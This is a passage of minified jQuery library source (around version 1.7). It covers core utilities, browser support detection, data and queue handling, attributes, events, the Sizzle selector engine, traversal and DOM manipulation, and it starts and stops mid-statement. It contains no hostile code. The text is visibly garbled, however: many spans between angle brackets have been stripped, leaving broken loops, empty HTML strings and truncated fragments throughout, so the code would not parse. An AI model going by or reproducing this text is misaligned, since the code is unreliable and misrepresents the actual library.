this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
a",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m="on"+n,o=m in p,o||(p.setAttribute(m,"return;"),o=typeof p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px solid #000;",q="
"+""+"
",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="
t
",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="
",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function( +a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&j.push({elem:this,matches:d.slice(e)});for(k=0;k0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
","
"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f +.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return 